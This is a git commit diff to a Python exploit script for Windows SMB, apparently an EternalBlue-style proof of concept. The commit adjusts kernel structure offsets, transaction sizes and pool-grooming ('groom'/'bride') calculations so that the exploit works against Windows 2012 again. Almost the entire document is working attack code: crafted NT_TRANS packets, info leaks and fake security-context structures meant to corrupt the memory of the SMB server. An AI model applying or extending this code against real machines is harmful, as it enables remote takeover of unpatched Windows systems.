fix fail to exploit Windows 2012 because of previous commit

This commit is contained in:
worawit
2017-07-11 12:14:10 +07:00
parent ffef5e8163
commit d787343067

View File

@@ -67,7 +67,7 @@ to do all SMB operations.
Note: fake Token might be possible, but NULL token is much easier.
'''
WIN7_INFO = {
'SESSION_SECCTX_OFFSET': 0xa0,
'SESSION_SECCTX_OFFSET': 0xa0,
'SESSION_ISNULL_OFFSET': 0xba,
'FAKE_SECCTX': pack('<IIQQIIB', 0x28022a, 1, 0, 0, 2, 0, 1),
'SECCTX_SIZE': 0x28,
@@ -82,7 +82,7 @@ WIN7_32_INFO = {
# win8+ info
WIN8_INFO = {
'SESSION_SECCTX_OFFSET': 0xb0,
'SESSION_SECCTX_OFFSET': 0xb0,
'SESSION_ISNULL_OFFSET': 0xca,
'FAKE_SECCTX': pack('<IIQQQQIIB', 0x38022a, 1, 0, 0, 0, 0, 2, 0, 1),
'SECCTX_SIZE': 0x38,
@@ -107,7 +107,7 @@ X86_INFO = {
X64_INFO = {
'PTR_SIZE' : 8,
'PTR_FMT' : 'Q',
'FRAG_TAG_OFFSET' : 0x1c,
'FRAG_TAG_OFFSET' : 0x14,
'POOL_ALIGN' : 0x10,
'SRV_BUFHDR_SIZE' : 0x10,
'TRANS_SIZE' : 0xf8, # struct size
@@ -139,8 +139,8 @@ def next_extra_mid():
return extra_last_mid
# Borrow 'groom' and 'bride' word from NSA tool
# GROOM_TRANS_SIZE does not include transaction name length
GROOM_TRANS_SIZE = 0x5008
# GROOM_TRANS_SIZE includes transaction name, parameters and data
GROOM_TRANS_SIZE = 0x5010
def calc_alloc_size(size, align_size):
@@ -152,7 +152,7 @@ def leak_frag_size(conn, tid, fid, info):
# To make exploit more generic, exploit does info leak to find a "Frag" pool size.
# From the leak info, we can determine the target architecture too.
mid = conn.next_mid()
req1 = conn.create_nt_trans_packet(5, param=pack('<HH', fid, 0), mid=mid, data='A'*0x10d0, maxParameterCount=GROOM_TRANS_SIZE-0x10d0)
req1 = conn.create_nt_trans_packet(5, param=pack('<HH', fid, 0), mid=mid, data='A'*0x10d0, maxParameterCount=GROOM_TRANS_SIZE-0x10d0-4)
req2 = conn.create_nt_trans_secondary_packet(mid, data='B'*276) # leak more 276 bytes
conn.send_raw(req1[:-8])
@@ -176,15 +176,20 @@ def leak_frag_size(conn, tid, fid, info):
# Calculate frag pool size
info['FRAG_POOL_SIZE'] = ord(leakData[ info['FRAG_TAG_OFFSET']-2 ]) * info['POOL_ALIGN']
print('Got frag size: 0x{:x}'.format(info['FRAG_POOL_SIZE']))
# groom: srv buffer header, empty transaction name (4)
info['GROOM_POOL_SIZE'] = calc_alloc_size(GROOM_TRANS_SIZE + info['SRV_BUFHDR_SIZE'] + 4 + info['POOL_ALIGN'], info['POOL_ALIGN'])
# groom: srv buffer header
info['GROOM_POOL_SIZE'] = calc_alloc_size(GROOM_TRANS_SIZE + info['SRV_BUFHDR_SIZE'] + info['POOL_ALIGN'], info['POOL_ALIGN'])
print('GROOM_POOL_SIZE: 0x{:x}'.format(info['GROOM_POOL_SIZE']))
# groom paramters and data is alignment by 8 because it is NT_TRANS
info['GROOM_DATA_SIZE'] = GROOM_TRANS_SIZE - 4 - 4 - info['TRANS_SIZE'] # empty transaction name (4), alignment (4)
# bride: srv buffer header, pool header (same as pool align size), empty transaction name (4)
bridePoolSize = 0x1000 - (info['GROOM_POOL_SIZE'] & 0xfff) - info['FRAG_POOL_SIZE']
info['BRIDE_TRANS_SIZE'] = bridePoolSize - calc_alloc_size(info['SRV_BUFHDR_SIZE'] + 4 + info['POOL_ALIGN'], info['POOL_ALIGN'])
info['BRIDE_TRANS_SIZE'] = bridePoolSize - (info['SRV_BUFHDR_SIZE'] + info['POOL_ALIGN'])
print('BRIDE_TRANS_SIZE: 0x{:x}'.format(info['BRIDE_TRANS_SIZE']))
# adjust frag offset
info['FRAG_TAG_OFFSET'] -= info['TRANS_SIZE'] & 0xf
# bride paramters and data is alignment by 4 because it is TRANS
info['BRIDE_DATA_SIZE'] = info['BRIDE_TRANS_SIZE'] - 4 - info['TRANS_SIZE'] # empty transaction name (4)
return info['FRAG_POOL_SIZE']
@@ -195,14 +200,14 @@ def align_transaction_and_leak(conn, tid, fid, info, numFill=4):
conn.send_nt_trans(5, param=trans_param, totalDataCount=0x10d0, maxParameterCount=GROOM_TRANS_SIZE-0x10d0)
mid_ntrename = conn.next_mid()
req1 = conn.create_nt_trans_packet(5, param=trans_param, mid=mid_ntrename, data='A'*0x10d0, maxParameterCount=GROOM_TRANS_SIZE-0x10d0-info['TRANS_SIZE'])
req1 = conn.create_nt_trans_packet(5, param=trans_param, mid=mid_ntrename, data='A'*0x10d0, maxParameterCount=info['GROOM_DATA_SIZE']-0x10d0)
req2 = conn.create_nt_trans_secondary_packet(mid_ntrename, data='B'*276) # leak more 276 bytes
req3 = conn.create_nt_trans_packet(5, param=trans_param, mid=fid, totalDataCount=GROOM_TRANS_SIZE-0x1000-info['TRANS_SIZE'], maxParameterCount=0x1000)
req3 = conn.create_nt_trans_packet(5, param=trans_param, mid=fid, totalDataCount=info['GROOM_DATA_SIZE']-0x1000, maxParameterCount=0x1000)
reqs = []
for i in range(12):
mid = next_extra_mid()
reqs.append(conn.create_trans_packet('', mid=mid, param=trans_param, totalDataCount=info['BRIDE_TRANS_SIZE']-0x200-info['TRANS_SIZE'], totalParameterCount=0x200, maxDataCount=0, maxParameterCount=0))
reqs.append(conn.create_trans_packet('', mid=mid, param=trans_param, totalDataCount=info['BRIDE_DATA_SIZE']-0x200, totalParameterCount=0x200, maxDataCount=0, maxParameterCount=0))
conn.send_raw(req1[:-8])
conn.send_raw(req1[-8:]+req2+req3+''.join(reqs))
@@ -233,7 +238,7 @@ def align_transaction_and_leak(conn, tid, fid, info, numFill=4):
# ================================
leakData = leakData[info['FRAG_TAG_OFFSET']-4+info['FRAG_POOL_SIZE']:]
# check pool tag and size value in buffer header
expected_size = pack('<H', info['BRIDE_TRANS_SIZE']+4)
expected_size = pack('<H', info['BRIDE_TRANS_SIZE'])
leakTransOffset = info['POOL_ALIGN'] + info['SRV_BUFHDR_SIZE']
if leakData[0x4:0x8] != 'LStr' or leakData[info['POOL_ALIGN']:info['POOL_ALIGN']+2] != expected_size or leakData[leakTransOffset+2:leakTransOffset+4] != expected_size:
print('No transaction struct in leak data')